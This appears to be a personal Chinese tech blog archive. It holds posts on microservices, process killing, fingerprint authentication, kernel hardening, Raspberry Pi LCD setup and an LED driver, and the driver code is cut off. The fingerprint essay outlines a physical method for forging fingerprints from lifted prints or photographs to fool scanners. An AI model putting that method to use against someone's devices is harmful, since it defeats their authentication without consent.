在引入微服务架构前,系统往往是以一个大的单体应用的形式存在的。此时任何功能的修改都需要重新构建部署整个应用,并且当需要水平扩展时也只能通过扩展整个应用的方式进行,无法做更细粒度的调度和控制。而当切换成微服务架构后,单一功能的修改只需要重新构建部署相应地服务即可,其他服务并不会受到影响。如果某个服务需要水平扩展时,我们也只需要扩展此服务即可。由此可见,微服务架构相比于传统的单体应用架构,可以极大的提高我们的资源利用效率和系统弹性。再加上通过服务化我们可以更容易的以组件的方式组合和重用现有服务,快速地构建出新的服务,使企业和产品更具竞争力。 [![1224-E78E8BE581A5-4](/wp-content/uploads/2016/01/1224-E78E8BE581A5-4-300x183.png)](/wp-content/uploads/2016/01/1224-E78E8BE581A5-4.png) 微服务架构还有很多其他的好处:例如我们可以为不同的服务使用异构的技术架构,用最适合的技术解决最适合的业务问题(例如在某些服务中使用关系型数据库,而在某些服务中使用NoSQL数据库);相对于单体应用因为每个服务都更小更简单,所以维护难度和成本也会比传统的大的单体应用要低得多;还有根据康威定律,这种新的服务架构甚至会改变我们软件开发的组织方式向小而精的多功能自组织团队和全栈式演进,前段、后端、运维、DBA这种角色划分方式也许也会因此而成为历史。 微服务架构之所以经常会和容器技术一起被提及,是因为容器技术为微服务架构提供了一个非常匹配的基础设施,从而可以将这种架构的威力最大化的激发出来。设想一下,假如我们有一个产品采用微服务架构,并将每类服务及其运行环境打包为容器,部署于像AWS ECS这类弹性容器服务里。就可以实现通过实时监控每类服务的负载情况,通过自动化的方式快速按需对每类服务基于容器技术进行快速高效的水平扩展或是撤销,这样我们的架构就是一个高度自动化、高弹性、高资源利用率的应用架构,相比于传统的单体应用也将具备很大的竞争优势。 有得必有失,微服务架构有着这么多的好处,但同样也会引入一些新问题,最直接的就是分布式本身所引入的复杂性。例如如何保证服务间的契约,如何快速开发服务,如何保证轻量级通讯协议的可靠性等等。对于这些问题也有着相对应的解决方案,本期雷达就推荐了很多的工具和技术来辅助进行微服务架构下的软件开发。 [雷达 : 关于技术趋势的分析报告](http://blog.jobbole.com/97153/),首发于[博客 – 伯乐在线](http://blog.jobbole.com)。 --- ## How can I kill a process by name instead of PID? Date: 2015-12-08 URL: https://blog.wo.ai/archives/1106 Categories: Technology 前段时间为了投票,在服务器上面开了N个php进程,每次要退出的时候都要ps -eaf|grep php,然后根据pid一个一个kill,傻傻的操作了很多次。其实早就知道有killall的指令,但一次都没用过。这次实在受不了了,还是查了一下,用下面这个方法挺好 kill `pidof php` 备用方法,未验证 export pid=`ps | grep process_name | awk 'NR==1{print $1}' | cut -d' ' -f1`;kill $pid pkill -f "Process name" 这个试过了,因为是php xxx.php方式,貌似没法用。 --- ## 别拿指纹当密码,没用!看完你就明白了 Date: 2015-12-02 URL: https://blog.wo.ai/archives/1104 Categories: Uncategorized ![](http://blog.wo.ai/wp-content/plugins/wp-o-matic/cache/7ea5a134fe_7cc829d3gw1eyle1m1e7yj20m80dgafw.jpg) 密码就是一坨翔。[没有人会挑选一个好的密码](http://arstechnica.com/security/2015/09/new-stats-show-ashley-madison-passwords-are-just-as-weak-as-all-the-rest/),就算他们好不容易选了一个不错的,也会[在所有的网站上都使用这个密码](https://www.lightbluetouchpaper.org/2011/02/09/measuring-password-re-use-empirically/);就算你用了一个可以信赖的密码管理软件,[它也会被人破解](http://arstechnica.com/security/2015/11/hacking-tool-swipes-encrypted-credentials-from-password-manager/)。不过你知道比密码更烂的是什么吗?那就是指纹。指纹的问题多如牛毛,你在任何时候都不应该用它来取代密码。 密码应该是保密的,就像你小时候养的宠物的名字。相比之下,你带着手指头到处晃悠,它们几乎在任何时候都是暴露在外的。当你的密码被泄露了,一般很容易就换个新密码。可你不想换个手指头吧?最后,也是最为重要的,你希望密码是经过哈希处理的,这样就算密码数据库被盗,不法之徒也无法获取你的密码。 在本文剩下的篇幅中,我会分别介绍以上三个方面的内容,希望能说服你相信,从根本上说用指纹比用密码要糟糕得多。(你听信[苹果](http://www.digitaltrends.com/opinion/apple-iphone-5s-fingerprint-scanner/)和[谷歌](http://bgr.com/2015/05/28/android-m-fingerprint-password-manager-app/)的忽悠?不,我想你不会的。) ### 指纹并不保密 首先,使用指纹取代密码最明显的问题,就是指纹压根就不是保密的。想想你在影视剧里面看到的:警察在向坏蛋问话的时候,递给了他一杯咖啡,然后把这个杯子送到法医实验室,就搞到了他的指纹。案件侦破! 但实际情况会更糟。你的指纹到处都是。可以从纸张、键盘和桌子表面上提取到指纹。你不会把你的密码写在便签纸上,然后贴到工位的显示器上,对吧?可如果你的工作需要使用指纹来进行身份认证,那这个密码可能已经留在你的显示器上了。 德国黑客 Jan Krissler(网名 starbug),只要一有机会就会向别人灌输这个概念。 iPhone 5 touchID 系统刚发布的时候,starbug 就开始垂涎三尺了。他立刻买了一台,鼓捣了两天后,他证明自己能在苹果店门口排队的人群散去之前,就能骗过指纹读取器。[starbug](http://arstechnica.com/security/2013/09/touchid-hack-was-no-challenge-at-all-hacker-tells-ars/) [在接受 Ars Technica 采访的时候, 抱怨说这也太容易了。](http://arstechnica.com/security/2013/09/touchid-hack-was-no-challenge-at-all-hacker-tells-ars/)来自苹果的匿名人士表示,他们原本预期这个过程会花上两个月,而不是两天。 ### 如何仿造指纹 ![](http://blog.wo.ai/wp-content/plugins/wp-o-matic/cache/65bb3ef956_7cc829d3gw1eyle1mk53cj212g0lmn1r.jpg) 他用来仿造指纹的技术超级简单。他复制了一个指纹,然后把它蚀刻在铜片上(和制作印刷电路板一样),在蚀刻上喷一层石墨,最后在上面盖上一层木胶或者乳胶。在铜片被蚀刻掉的地方,胶水加石墨的指模会更深,这用来模拟你手指上纹路。石墨涂层和手指一样拥有电容的特性。如果再用上和皮肤颜色相同的乳胶,你就做出了一个像碟中谍电影里一样的东西,成本只有 5 美元加上一个下午的时间。而你需要的只是从杯子或者书本上提取一张质量好点的指纹图片。 ### 从照片中提取指纹 ![](http://blog.wo.ai/wp-content/plugins/wp-o-matic/cache/c67665beb8_7cc829d3gw1eyle1ne1xbj20ou11679j.jpg) 别在你的照片中露出指纹。[从一张记者招待会的照片中,starbug 复制出了 Ursula von der Leyen(德国国防部长)的指纹。](http://www.dw.com/en/german-defense-minister-von-der-leyens-fingerprint-copied-by-chaos-computer-club/a-18154832)不管这个指纹是不是真的能控制整个德国的军队,反正你明白这个意思了;希望他们真的别用指纹来当密码。 在德国的黑客交流大会上,[starbug 做了一个很棒的演讲](https://media.ccc.de/v/gpn15-6728-ich_sehe_also_bin_ich_du#video),他讨论了这项技术所需要的照片分辨率,以及很多其他和生物特征辨识相关的黑客技术。不过重点在于,只要有足够的分辨率、或者是一个足够好的镜头,就可以从一个很舒服的距离拍摄到指纹的照片。其中主要的限制是焦距带来的浅景深以及光照情况,这对于那些在照明充足的台上、面对一大堆相机的政客们来说可不是个好消息。不管你是不是政客,除非你一直戴着手套,否则你的指纹就不会得到很好的保护。 ### 指纹是不可改变的 好吧,假设说你的普通密码不管因为什么原因泄露了,会有多糟?在理想世界中,被攻破的网站会通知你并提醒你更换密码。你可以[把宠物狗的名字换成宠物猫的名字](http://www.prweb.com/releases/2015/01/prweb12456779.htm),或者你出生的年份和你妹妹的出生年份。搞定! 不过如果你用指纹当密码,然后不慎泄露的话,却**不可能** 去改变它。实际上,在传统使用指纹的场景中,正是利用了它的唯一性和不可变性——比如在犯罪现场中用来甄别罪犯。要是能在犯罪之后改变指纹的话,你就不用戴那些碍事的手套了。 指纹会伴随你一生。如果我盗取了你的指纹,我就可以解锁你现有的指纹加密的设备,和你以后购买的所有指纹加密的设备。指纹只是半安全的,它不可修改,这让它成了相当糟糕的密码。这一点不用再多说了,反正肯定就是这么回事儿了,不过还是得强调一下,因为世上还是有很多坏警察的(译注:会盗用你的指纹)。 ![](http://ww3.sinaimg.cn/mw690/7cc829d3gw1eyle1o6839j20um0lon3w.jpg) 举个例子,敏感的政府机构会使用个人身份认证(PIV)卡,上面包括了雇员的指纹。除了需要输入正确的密码之外,使用 PIV 卡的联邦雇员还必须扫描指纹,并和保存在卡内的指纹进行对比。这种使用密码和指纹匹配的方式构成了[双重认证](https://en.wikipedia.org/wiki/Two-factor_authentication)系统。 而在这之后,[美国国家人事局(OPM)被黑了](http://www.tomshardware.com/news/opm-5.6-million-stolen-fingerprints,30154.html),560 万(!)枚政府雇员的指纹被窃取,很可能是外国间谍机构干的。于是现在[国土安全局可能不得不改为使用“三重认证”](http://www.biometricupdate.com/201506/expect-three-factor-authentication-to-be-implemented-following-opm-hack),因为其中的一个认证方式已经彻底完蛋了。如果当初政府在 PIV 卡中使用了一种可替换的方式,至少这次泄露弥补起来会容易得多。 密码需要定期更换来确保其保密性和安全性。指纹是不可更换的。 ### 指纹是不能被哈希处理的 指纹的问题在于判定的时候只要近似就够了,而且应该也是这样。如果我在指纹识别器上按手指的时候稍微大了点劲儿,或者稍微错位了一点,又或者手指被划伤了,我依然希望这个识别器能接受我的指纹。训练有素的 FBI 探员在对比指纹时,通常都使用“部分”匹配的方式,只要有合理的精确度就够了。对于血肉之躯的人类和现实世界中的指纹扫描仪来说,近似匹配是合情合理的。不过只要指纹有细微的瑕疵,经过哈希处理后就会和参照版本完全不同。这也就意味着指纹是不可哈希的。哈希算法让密码更加健壮,一旦缺少了哈希算法的保护,指纹就变得脆弱得多。 现在假设一个靠谱点的网站被黑了,就算黑客窃取了网站的密码数据库,他们也不会因此拥有这些密码的列表。他们只能得到用户名以及被[单向哈希](https://en.wikipedia.org/wiki/Cryptographic_hash_function)之后的密码。 ![](http://blog.wo.ai/wp-content/plugins/wp-o-matic/cache/e4bc3691f2_7cc829d3gw1eyle1p5q38j21kw2erqj9.jpg) 当你输入密码的时候,网站会对结果进行哈希运算。如果你输入的哈希值和网站保存的哈希值相同,就能确认这个密码是正确的。因为哈希算法是完全单向的,所以对任何人来说,从哈希结果反推出你实际的密码几乎都是不可能的。实际上,反推哈希密码最简单的方式,就是尝试每个可能的密码,计算哈希值,然后进行比较。 相比之下,一个简单初级的实现,就是网站直接保存了每个用户的密码,但是用一个主密码对它们进行加密。如果黑客能够搞定这个主密码,他们就能破解整个数据库中的所有密码。这个主密码在每次密码校验过程中都会用到,这使得它拥有巨大的价值,同时却也非常脆弱。如果使用不同的主密码分别加密每个用户的数据的话,就意味着他们还得维护一个巨大的主密码数据库,这其实毛用都没有。这就是为什么每个靠谱的网站都只会保存用户密码的哈希结果。 不过哈希算法仍然可以比加密做得更好。如果网站的开发者拥有足够的安全意识,就会在进行哈希计算之前进行[加盐](https://en.wikipedia.org/wiki/Salt_\(cryptography\)):在密码中附加上其他的一些东西(这个东西不必是保密的);这会让暴力破解的过程变得更加缓慢,因为这相当于每个人的密码都是以不同的形式进行哈希的。 如果咱俩都使用了“!password123”作为密码,不过我的密码之前加了“elliot”,而你的密码之前加了“joe_user”,我们的密码经过哈希处理之后就会变得完全不同。就算黑客最终猜到了你的密码,因为这个“盐值”的存在,他们也无法立刻得知我的密码。 如果网站安全做得特别好的话,这个哈希过程会使用一个耗时的算法重复进行上千次,从而进一步减缓了暴力破解的速度。在你登录网站的时候如果花上个半秒一秒,对你来说可能不是什么事儿,不过对于那些依赖于每秒进行数百万次尝试的暴力破解者来说,这可就是大麻烦了。密码管理软件 [LastPass 被破解](https://blog.lastpass.com/2015/06/lastpass-security-notice.html/)(译注:如果你的浏览器默认是中文语言,这个链接会跳到他自己的中文版页面上,这个中文版页面……有点逗比),这件事是个很好的例证。他们被破解了这事儿本身确实挺糟的,你还是得换掉你的主密码,不过如果做得够好的话,任何人还是无法在短时间内暴力破解你的密码。 ### 指纹和雪崩效应 ![](http://blog.wo.ai/wp-content/plugins/wp-o-matic/cache/ebea86476c_7cc829d3gw1eyle1pz2pxj20sg0j10x0.jpg) 刚才这些东西和指纹到底有啥关系?指纹本身不能经过哈希处理,所以上面那些做法(在数据中只保存加盐密码的哈希值)在安全性上面所带来的优势,对指纹来说毛用没有。这是因为除了单向之外,一个好的哈希算法展现了所谓的[雪崩效应](https://en.wikipedia.org/wiki/Avalanche_effect):密码中一个轻微的改变会导致哈希结果极大的区别。 字符串“!password123”在使用 MD5 哈希处理之后,得到的值是 _b3a2efccbe10c39f2119979a6f9a3ab2_ ,而“!Password123”对应的值是 _d2583f9c75fbc22890d39e7241927511_ 。这两个字符串只有一个字母不同,那个大写的“P”,但是两个哈希结果的差异却相当巨大。这防止了那些暴力破解者去判断他们尝试的密码和实际密码之间的近似程度。如果密码中每出现一个正确字母就和目标哈希值接近一分的话,他们毫不费力地就能猜到你的密码了。雪崩效应意味着猜到“相似”的密码是毫无意义的。 正如我之前提到的,指纹技术需要能判断出“足够相似”。如果把它进行哈希处理的话,就会差之毫厘、谬以千里。这也就是说,指纹只能被明文存储,或者加密存储,但是哈希算法一点用也没有,因为一个好的哈希算法会导致雪崩效应。指纹数据库不可避免地会成为薄弱环节,只要你的指纹被保存下来,不管是在你的 iPhone 上、在 IPV 卡上还是在电子护照上,只要知道了主密码,这里面存储的指纹都可以被破解。 ### 电子护照 ![](http://blog.wo.ai/wp-content/plugins/wp-o-matic/cache/ebea86476c_7cc829d3gw1eyle1wufe1j20b40g8jrz.jpg) 哈希方法对比加密方法的一个很好的例子,就是电子护照。其中[加密保存了你的指纹和虹膜照片的数据](https://en.wikipedia.org/wiki/Extended_Access_Control),因为这些都是敏感信息。不过这些数据也只能加密(而不能哈希处理),因为护照读取器需要能够解密这些信息,才能和你的手指和眼睛进行比对。(译注:中国的电子护照在芯片内也包含指纹和照片,也是加密保存的) 在这上面,所有你的非敏感信息和加密之后的数据包会一起进行哈希计算,这个哈希值会使得篡改其中任何信息都变得很困难。你可能想在这些数据里面改变一个比特,然后在别的地方改变另一个比特“找补”回来,然而雪崩效应让这一切成为不可能。 即使这样,到目前为止,这也仅仅意味着你的指纹只能通过加密的方式进行保护,而不是哈希处理的方式。这对于海关来说无所谓,因为他们只关心你的指纹是不是被篡改过了。对他们来说,你的指纹只是用来证明你就是你;以及通过跟在你的信息后面的一个哈希值,来确保你的数据不会被篡改。 而另一方面,对于考虑到隐私问题的个人而言,只是把你的指纹进行加密不免让人有些担忧。一个拥有你的护照和正确密码的坏蛋,可以把数据进行解密从而获得你的指纹。虽然从护照封皮上提取你的指纹可能要容易得多,因为指纹不是保密的,还记得吧? ## 结论 别把你的指纹当密码用。指纹是永久不变的、容易校验的并可以轻松获取的,这对于犯罪调查和确认你的身份来说非常有帮助。不过它们并不是密码,因为它们不是保密的、是无法改变的、而且也很难安全地保存。 ### 相关文章 * [拜托,不要再帮黑客来猜我的密码了](http://blog.jobbole.com/37906/) * [互联网上前一百万个网站的SSL/TLS分析](http://blog.jobbole.com/55550/) * [苹果账号真需要两个密码](http://blog.jobbole.com/31217/) * [在Chrome浏览器中保存的密码有多安全?](http://blog.jobbole.com/30922/) * [密码提示很烦人!](http://blog.jobbole.com/60488/) * [加盐密码哈希:如何正确使用](http://blog.jobbole.com/61872/) * [安全密码存储,该怎么做,不该怎么做?](http://blog.jobbole.com/23695/) * [怎样设计靠谱的口令](http://blog.jobbole.com/1341/) * [谷歌收购以色列信息安全创业公司SlickLogin](http://blog.jobbole.com/59607/) * [123456打败password成为2013年最糟糕密码](http://blog.jobbole.com/56847/) [别拿指纹当密码,没用!看完你就明白了](http://blog.jobbole.com/95547/),首发于[博客 – 伯乐在线](http://blog.jobbole.com)。 --- ## 为什么提升内核的安全性很重要 Date: 2015-11-23 URL: https://blog.wo.ai/archives/1096 Categories: Uncategorized 最近《华盛顿邮报》[刊文](http://www.washingtonpost.com/sf/business/2015/11/05/net-of-insecurity-the-kernel-of-the-argument/)称,安全社区与 Linux 内核开发者之间的关系正处于紧张阶段。这种遭强烈的行为被称为 FUD(恐惧、疑惑、怀疑,即心理恐怖战术), Rob Graham 宣称目前无人攻击系统内核。 不幸的是,事实证明他的言论是完全错误的,这并不是 FUD 行为,目前Linux内核的安全状况还远远没有达到它应该达到的状态。 举个例子,最新版本的Android系统使用SELinux来限制应用程序的运行。这令你即使拥有一个在Android上可被完全控制的应用程序,SELinux规则也能使你很难做成任何事,尤其是用户控制。有家违反 GPL 协议的意大利公司 Hacking Team ,在销售一款可以侵犯用户隐私的监控软件,但他们发现这种内核阻碍了他们将间谍软件传输到目标设备。所以他们利用许多 Android 设备内核的 copy-from-user() 缺陷,从而实现允许他们复制任意一个用户空间的数据及其内核代码的行为,因此他们也能做到禁用SELinux。 如果我们可以信任用户空间的应用程序,我们是不需要SELinux的。但我们假定用户空间的代码是不成熟的,配置是错误的或者是完全怀有敌意的,我们就要使用例如SELinux或AppArmor等技术来限制其行为。只是有很多用户空间的代码对我们都保证是无害的,我们尽力阻止的只是它可能出现的对我们造成侵害的部分。 这在内核中显然是不正确的。这种模型目前为止在很大程度上已经是“当我们找到他们时方能修复安全漏洞”,这种方法的失败体现在两个层面上: (1)当我们找到并修复它们,但在被修复版本可以使用,到它真正被部署,这中间是有一个空窗期的。 (2)尽管动用了尖端的力量,也可能无法在第一时间发现它们。 这种反应方式是针对某个世界,一个无需先进行公测就可以进行软件更新的世界,那个世界中有以寻找内核漏洞为乐趣的好人。然而,我们并不生活在那个世界,这种方法也并不可行。 正如SELinux等功能可以使我们减少可能遭受的侵害一样,如果一个新的用户空间安全隐患被发现,攻击者将内核错误变成一个可利用的漏洞,我们可以将修复功能添加至内核,使攻击变得困难(或不可能)。如今使用Linux系统的人数越来越多,许多用户依赖这些系统在各个关键方面的安全性能,那么尽我们所能不辜负他们的信任是至关重要的。 许多有用的缓解功能已经存在于Grsecurity patchset中,但技术分歧出现在某些特性的结合,而个性冲突和明显缺乏热情的上游内核开发人员导致它几乎没有被应用于大多数人所使用的内核中。Kees Cook提出了一个新的想法,开始更加齐心协力的将Grsecurity组件迁移到上游。如果你依赖于内核安全组件,因基于它而运行程序或者说因为你自己本身就使用它,那你应尽你所能去支持这一想法。 因为安全平台的漏洞,微软受到了无可非议的批评。他们回应称,已经跨操作系统引入了先进的安全功能,包括内核部分。任何一个指责说我们需要做同样的 FUD 传播的人,他们都要冒着自由软件被边缘化为专有软件的风险,来提供更多实际性的安全功能。那并不是个好结果。 ### 相关文章 * [成为Linux内核高手的四个方法](http://blog.jobbole.com/54833/) * [Linux 内核中断和中断处理(1)](http://blog.jobbole.com/90531/) * [Linux 内核内存管理(1)](http://blog.jobbole.com/88452/) * [Linux 内核同步机制 ](http://blog.jobbole.com/91784/) * [Redis 未授权访问缺陷可轻易导致系统被黑](http://blog.jobbole.com/94518/) * [Linus Torvalds封杀了一名Red Hat的内核开发者](http://blog.jobbole.com/64555/) * [记一次Linux服务器上查杀木马经历](http://blog.jobbole.com/90098/) * [Linux Shell 创建序列数组](http://blog.jobbole.com/92792/) * [Linux Shell 管道命令(pipe)使用及与 Shell 重定向区别](http://blog.jobbole.com/93132/) * [Linux后门入侵检测工具,附bash漏洞解决方法](http://blog.jobbole.com/77663/) [为什么提升内核的安全性很重要](http://blog.jobbole.com/95052/),首发于[博客 – 伯乐在线](http://blog.jobbole.com)。 --- ## 晚安喵伴奏 Date: 2015-11-19 URL: https://blog.wo.ai/archives/1080 Categories: Life 网上听到一首小音乐,简单重复的节奏,时不时补充一点喵星人的声音,分享给大家,适合深夜的时候听听,更适合铲屎官。 [hana-flv-player video=”https://blog.wo.ai/test/miao.mp3″ width=”400″ description=”” player=”5″ autoload=”true” autoplay=”false” loop=”false” autorewind=”true” /] --- ## 树莓派spi液晶屏支持(fbtft)[转] Date: 2015-11-18 URL: https://blog.wo.ai/archives/1091 Categories: Raspberry Pi, Technology 转自 老徐拉灯 的博客 原文地址:http://blog.csdn.net/xdw1985829/article/details/39583239 **树莓派官方支持av及HDMI输出,板子上预留了一个csi接口的液晶显示屏,但是一直没有相应的模组出现。在很多应用场合我们需要一些小型的液晶屏显示一些基本的信息,所以小屏驱动很是必要。** 在github上有一个开源工程:notro/fbtft,完整的实现了framebuffer驱动,让树莓派完美支持tft液晶,下面对移植过程进行一个简单说明 一、官网地址 工程首页:https://github.com/notro fbtft源码:https://github.com/notro/fbtft 编译好的固件(基于3.12.25+):https://github.com/notro/rpi-firmware 使用说明(wiki):https://github.com/notro/fbtft/wiki **二、**使用** 编译好的固件(3.12.25+)** 环境:树莓派 https://github.com/notro/rpi-firmware **1、打开SPI** 树莓派默认spi是关掉的,我们需要打开 sudo vi /etc/modprobe.d/raspi-blacklist.conf 把下面这句话前面的#号删掉 blacklist spi-bcm2708 **2、下载:** 1)以模块的形式编译进内核(需要手动或脚本加载模块)3.12.25+(**试验成功** ) sudo REPO_URI=https://github.com/notro/rpi-firmware rpi-update 2)直接编译进内核(**笔者没有试验** ) sudo REPO_URI=https://github.com/notro/rpi-firmware BRANCH=builtin rpi-update 3)以模块的形式编译进内核(**需要手动或脚本加载模块,最新版本,笔者试过启动不起来,不知道哪出问题** ) sudo REPO_URI=https://github.com/notro/rpi-firmware BRANCH=latest rpi-update 4)直接下载压缩包,手动安装(**适合树莓派不能联网的时候** ) http://tronnes.org/downloads/2014-06-20-wheezy-raspbian-2014-07-25-fbtft-master-firmware.zip **3、配置** **1)手动加载模块:** sudo modprobe fbtft_device name=adafruit22 name后面的名字,要跟相应的液晶驱动芯片移植 笔者使用的液晶芯片为:**fb_ra8875,所以这里写的是: er_tftm050_2** 其它芯片请查阅:https://github.com/notro/fbtft/blob/master/fbtft_device.c 文件 正常会提示以下信息 fbtft_device: SPI devices registered: fbtft_device: spidev spi0.0 500kHz 8 bits mode=0x00 fbtft_device: spidev spi0.1 500kHz 8 bits mode=0x00 fbtft_device: ‘fb’ Platform devices registered: fbtft_device: bcm2708_fb id=-1 pdata? no fbtft_device: Deleting spi0.0 fbtft_device: GPIOS used by ‘adafruit22’: fbtft_device: ‘reset’ = GPIO25 fbtft_device: ‘led’ = GPIO23 fbtft_device: SPI devices registered: fbtft_device: spidev spi0.1 500kHz 8 bits mode=0x00 fbtft_device: fb_hx8340bn spi0.0 32000kHz 8 bits mode=0x00 graphics fb1: fb_hx8340bn frame buffer, 176×220, 75 KiB video memory, 16 KiB buffer memory, fps=20, spi0.0 at 32 MHz **在/dev/目录下出现: /dev/fb1设备** **2)自动加载模块** sudo vi /etc/modules 加入以下语句,既可以在启动时自动加载模块 spi-bcm2708 fbtft_device name=er_tftm050_2 **speed=28000000 fps=25** verbose=0 红色部分根据实际情况调整,可能出现花屏现象 **4、使用(官方给出的方法,笔者测试不成功)** **1)手动启动x11和控制台到新的液晶屏** X Windows显示在fb1上: $FRAMEBUFFER=/dev/fb1 startx Console显示在fb1上: $con2fbmap 1 1 **2)自动登陆x11** **sudo vi /etc/inittab** #1:2345:respawn:/sbin/getty –noclear 38400 tty1 1:2345:respawn:/bin/login -f pi tty1 /dev/tty1 2>&1 **sudo vi /etc/rc.local** su -l pi -c “env FRAMEBUFFER=/dev/fb1 startx &” ** 5、使用(笔者使用这个测试通过)** **1)将fb0上的内容直接拷贝到fb1上,fb0和fb1同步** **https://github.com/notro/fbtft/wiki/Framebuffer-use#framebuffer-mirroring** $git clone https://github.com/tasanakorn/rpi-fbcp $cd rpi-fbcp/ $mkdir build $cd build/ $cmake .. $make $sudo install fbcp /usr/local/bin/fbcp **启动** :fbcp & **关闭fbcp** :killall fbcp **2)启动时使用fb1** $sudo apt-get install xserver-xorg-video-fbdev $sudo vi /usr/share/X11/xorg.conf.d/99-fbdev.conf 加入以下语句: Section “Device” Identifier “myfb” Driver “fbdev” Option “fbdev” “/dev/fb1” EndSection **启动:** startx **测试:** apt-get -y install fbi fbi -d /dev/fb1 -T 1 -noverbose -a test.jpg **三、由内核及源码编译** **1、下载、编译内核源码:** **请见《[树莓派开发系列教程8——树莓派内核编译与固件升级](http://blog.csdn.net/xdw1985829/article/details/39077611)》** **2、下载、编译fbtft源码 ** **$cd linux(进入下载好的内核源码目录) ** **$cd drivers/video** **$git clone https://github.com/notro/fbtft.git(下载fbtft源码,也可以在别的地方下载好,拷贝过来) ** **修改内核源码的Kconfig及Makefine ** **Add to drivers/video/Kconfig: source “drivers/video/fbtft/Kconfig” ** **Add to drivers/video/Makefile: obj-y += fbtft/** **$make menuconfig(在配置界面加入所选用液晶的驱动支持)** 1. Device Drivers —> 2. Graphics support —> 3. Support for small TFT LCD display modules —> 4. 5. FB driver for the HX8353D LCD Controller 6. FB driver for the ILI9320 LCD Controller 7. FB driver for the ILI9325 LCD Controller 8. FB driver for the ILI9340 LCD Controller 9. FB driver for the ILI9341 LCD Controller 10. < > FB driver for the ILI9481 LCD Controller 11. FB driver for the ILI9486 LCD Controller 12. FB driver for the PCD8544 LCD Controller 13. FB driver for the RA8875 LCD Controller $make --- ## 基于树莓派Raspberry: 字符设备内核驱动程序框架编写[转] Date: 2015-11-17 URL: https://blog.wo.ai/archives/1082 Categories: Raspberry Pi, Technology 之前写了一篇移植2.4寸TFT驱动到树莓派的文章,那篇博文中的驱动代码是国外大牛写的,看了一下,还是有很多地方没理解,是得好好再学习一下内核驱动的编写,这里就从字符设备驱动开始,采用最简单的LED驱动来建立内核驱动移植的驱动框架. 个人原创,转载请注明原文出处: 参考文章: 内核驱动与普通单片机模块驱动的差别就是在于,写内核驱动的时候,要提供内核调用的接口,使内核能找到相应的驱动入口,用户通过告诉内核要干嘛,内核再去调用那个驱动,驱动的最底层和单片机模块是一样的,同样是对GPIO的操作,配置输入输出,以及某些特殊的寄存器. LED的点亮就是对GPIO的操作 . 对于ARM的GPIO调用需要通过IO映射的方法,要操作内存上对应的地址. 对于bcm2708上的io对应关系,可以查看bcm2835的手册,和stm32基本上是一样的,因为同为ARM体系:[![SouthEast](https://web.archive.org/web/2/https://blog.wo.ai/wp-content/uploads/2015/11/SouthEast2-300x210.)](/wp-content/uploads/2015/11/SouthEast2) 我参考的那博客讲这个比较清楚,可以参考下,由于树莓派的内核以及很好的提供了GPIO调用的接口,即把内存操作封装了很好,这里就不像那篇博客那样再自己写函数通过内存操作来进行GPIO操作,觉得有点麻烦,但是对于学好底层很有用. **一 首先上个驱动程序** **** 这里直接把该程序添加到内核的源码目录里面,也可在自己的目录下,但是要写Makefile. 在/drivers/char/新建rasp_led.c,内核中的kconfig文件和makefile文件,参照前一篇文章 led.c: 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 | `/********************************************************************/` `/***************Rasp led 驱动程序************************************/` `/***************作者: Embbnux Ji*************************************/` `/***************博客: http://blog.csdn.net/embbnux/ *****************/` `/********************************************************************/` `#include ` `#include ` `#include ` `#include       ` `#include ` `#include ` `#include ` `#include ` `#include ` `#include ` `#include ` `#include ` `#include ` `#def``ine DEVICE_NAME ``"Pi_Led"` `#def``ine DRIVER_NAME ``"pi_led"` `//class声明内核模块驱动信息,是UDEV能够自动生成/dev下相应文件` `static` `dev_t pi_led_devno; //设备号` `static` `struct class *pi_led_class;` `static` `struct cdev pi_led_class_dev;` `struct gpio_chip *gpiochip;` `#def``ine led_pin ``4` `//gpio ``4` `//这部分函数为内核调用后open的设备IO操作,和裸板程序一样` `int open_flag=``0``;` `static` `int pi_led_open(struct inode *inode, struct file *filp)` `{` ` ``printk(``"Open led ing!\n"``);` ` ``if(open_flag ==``0``){` ` ``open_flag =``1``;` ` ``printk(``"Open led success!\n"``);` ` ``return ``0``;` ` ``}` ` ``else{` ` ``printk(``"Led has opened!\n"``);` ` ``}` ` ``return ``0``;` `}` `//这部分函数为内核调用后ioctl的设备IO操作,和裸板程序一样` `static` `long pi_led_ioctl(struct file *filp, unsigned int cmd, unsigned long arg)` `{` ` ``switch(cmd){` ` ``case ``0:` ` ``gpiochip->set(gpiochip, led_pin, ``0``);` ` ``printk(``"Led up!\n"``);` ` ``break;` ` ``case ``1:` ` ``gpiochip->set(gpiochip, led_pin, ``1``);` ` ``printk(``"Led down!\n"``);` ` ``break;` ` ``}` ` ``return ``0``;` `}` `static` `int pi_led_release(struct inode *inode,struct file *file){` ` ``printk(``"Led has release!\n"``);` ` ``return ``0``;` `}` `//file_operations使系统的open,ioctl等函数指针指向我们所写的led_open等函数,` `//这样系统才能够调用` `static` `struct file_operations pi_led_dev_fops = {` ` ``.owner =THIS_MODULE,` ` ``.open =pi_led_open,` ` ``.unlocked_ioctl = pi_led_ioctl,` ` ``.release = pi_led_release,` `};` `static` `int is_right_chip(struct gpio_chip *chip, void *data)` `{` `if (strcmp(data, chip->label) == ``0``)` ` ``return ``1``;` ` ``return ``0``;` `}` `//内核加载后的初始化函数.` `static` `int __init pi_led_init(void)` `{` ` ``struct device *dev;` ` ``int major; //自动分配主设备号` ` ``major = alloc_chrdev_region(&pi_led_devno,``0``,``1``,DRIVER_NAME);` ` ``//register_chrdev 注册字符设备使系统知道有LED这个模块在.` ` ``cdev_init(&pi_led_class_dev, &pi_led_dev_fops);` ` ``major = cdev_add(&pi_led_class_dev,pi_led_devno,``1``);` ` ``//注册class` ` ``pi_led_class = class_create(THIS_MODULE,DRIVER_NAME);` ` ``dev = device_create(pi_led_class ,NULL,pi_led_devno,NULL,DRIVER_NAME);` ` ``gpiochip = gpiochip_find(``"bcm2708_gpio"``, is_right_chip);` ` ``gpiochip->direction_output(gpiochip, led_pin, ``1``);` ` ``gpiochip->set(gpiochip, led_pin, ``0``);` ` ``printk(``"pi led init ok!\n"``);` ` ``return ``0``;` `}` `//内核卸载后的销毁函数.` `void pi_led_exit(void)` `{` ` ``gpio_free(led_pin);` 